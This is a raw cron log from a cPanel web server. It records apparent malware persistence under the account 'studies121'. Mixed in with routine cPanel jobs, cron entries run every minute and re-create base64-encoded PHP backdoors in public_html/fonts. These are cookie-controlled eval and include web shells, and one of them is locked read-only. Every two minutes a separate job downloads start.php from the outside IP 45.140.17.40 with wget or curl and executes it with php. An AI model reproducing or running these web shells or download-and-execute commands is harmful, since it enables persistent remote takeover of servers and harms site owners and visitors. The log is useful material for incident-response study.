Sep 12 16:24:01 ip-184-168-122-23 CROND[23606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:24:01 ip-184-168-122-23 CROND[23604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:24:01 ip-184-168-122-23 CROND[23607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:25:02 ip-184-168-122-23 CROND[23787]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:25:02 ip-184-168-122-23 CROND[23789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:25:02 ip-184-168-122-23 CROND[23790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:25:02 ip-184-168-122-23 CROND[23791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:25:02 ip-184-168-122-23 CROND[23792]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 16:25:02 ip-184-168-122-23 CROND[23794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:25:02 ip-184-168-122-23 CROND[23793]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:26:01 ip-184-168-122-23 CROND[23882]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:26:01 ip-184-168-122-23 CROND[23884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:26:01 ip-184-168-122-23 CROND[23886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:26:01 ip-184-168-122-23 CROND[23889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:26:01 ip-184-168-122-23 CROND[23890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:27:01 ip-184-168-122-23 CROND[23974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:27:01 ip-184-168-122-23 CROND[23972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:27:01 ip-184-168-122-23 CROND[23973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:27:01 ip-184-168-122-23 CROND[23975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:28:01 ip-184-168-122-23 CROND[24058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:28:01 ip-184-168-122-23 CROND[24060]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:28:01 ip-184-168-122-23 CROND[24061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:28:01 ip-184-168-122-23 CROND[24062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:28:01 ip-184-168-122-23 CROND[24063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:29:02 ip-184-168-122-23 CROND[24153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:29:02 ip-184-168-122-23 CROND[24152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:29:02 ip-184-168-122-23 CROND[24155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:29:02 ip-184-168-122-23 CROND[24156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:30:01 ip-184-168-122-23 CROND[24332]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:30:02 ip-184-168-122-23 CROND[24337]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:30:02 ip-184-168-122-23 CROND[24336]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:30:02 ip-184-168-122-23 CROND[24340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:30:02 ip-184-168-122-23 CROND[24341]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 12 16:30:02 ip-184-168-122-23 CROND[24338]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 16:30:02 ip-184-168-122-23 CROND[24342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:30:02 ip-184-168-122-23 CROND[24339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:30:02 ip-184-168-122-23 CROND[24344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:31:01 ip-184-168-122-23 CROND[24450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:31:01 ip-184-168-122-23 CROND[24449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:31:01 ip-184-168-122-23 CROND[24452]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 16:31:01 ip-184-168-122-23 CROND[24451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:31:01 ip-184-168-122-23 CROND[24453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:32:01 ip-184-168-122-23 CROND[24541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:32:01 ip-184-168-122-23 CROND[24543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:32:01 ip-184-168-122-23 CROND[24542]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:32:01 ip-184-168-122-23 CROND[24544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:32:01 ip-184-168-122-23 CROND[24545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:33:01 ip-184-168-122-23 CROND[24655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:33:01 ip-184-168-122-23 CROND[24657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:33:01 ip-184-168-122-23 CROND[24659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:33:01 ip-184-168-122-23 CROND[24658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:34:01 ip-184-168-122-23 CROND[24747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:34:01 ip-184-168-122-23 CROND[24750]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:34:01 ip-184-168-122-23 CROND[24749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:34:01 ip-184-168-122-23 CROND[24751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:34:01 ip-184-168-122-23 CROND[24752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:35:01 ip-184-168-122-23 CROND[24934]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 16:35:01 ip-184-168-122-23 CROND[24938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:35:01 ip-184-168-122-23 CROND[24936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:35:01 ip-184-168-122-23 CROND[24937]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 16:35:01 ip-184-168-122-23 CROND[24939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:35:01 ip-184-168-122-23 CROND[24940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:35:01 ip-184-168-122-23 CROND[24941]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:35:01 ip-184-168-122-23 CROND[24942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
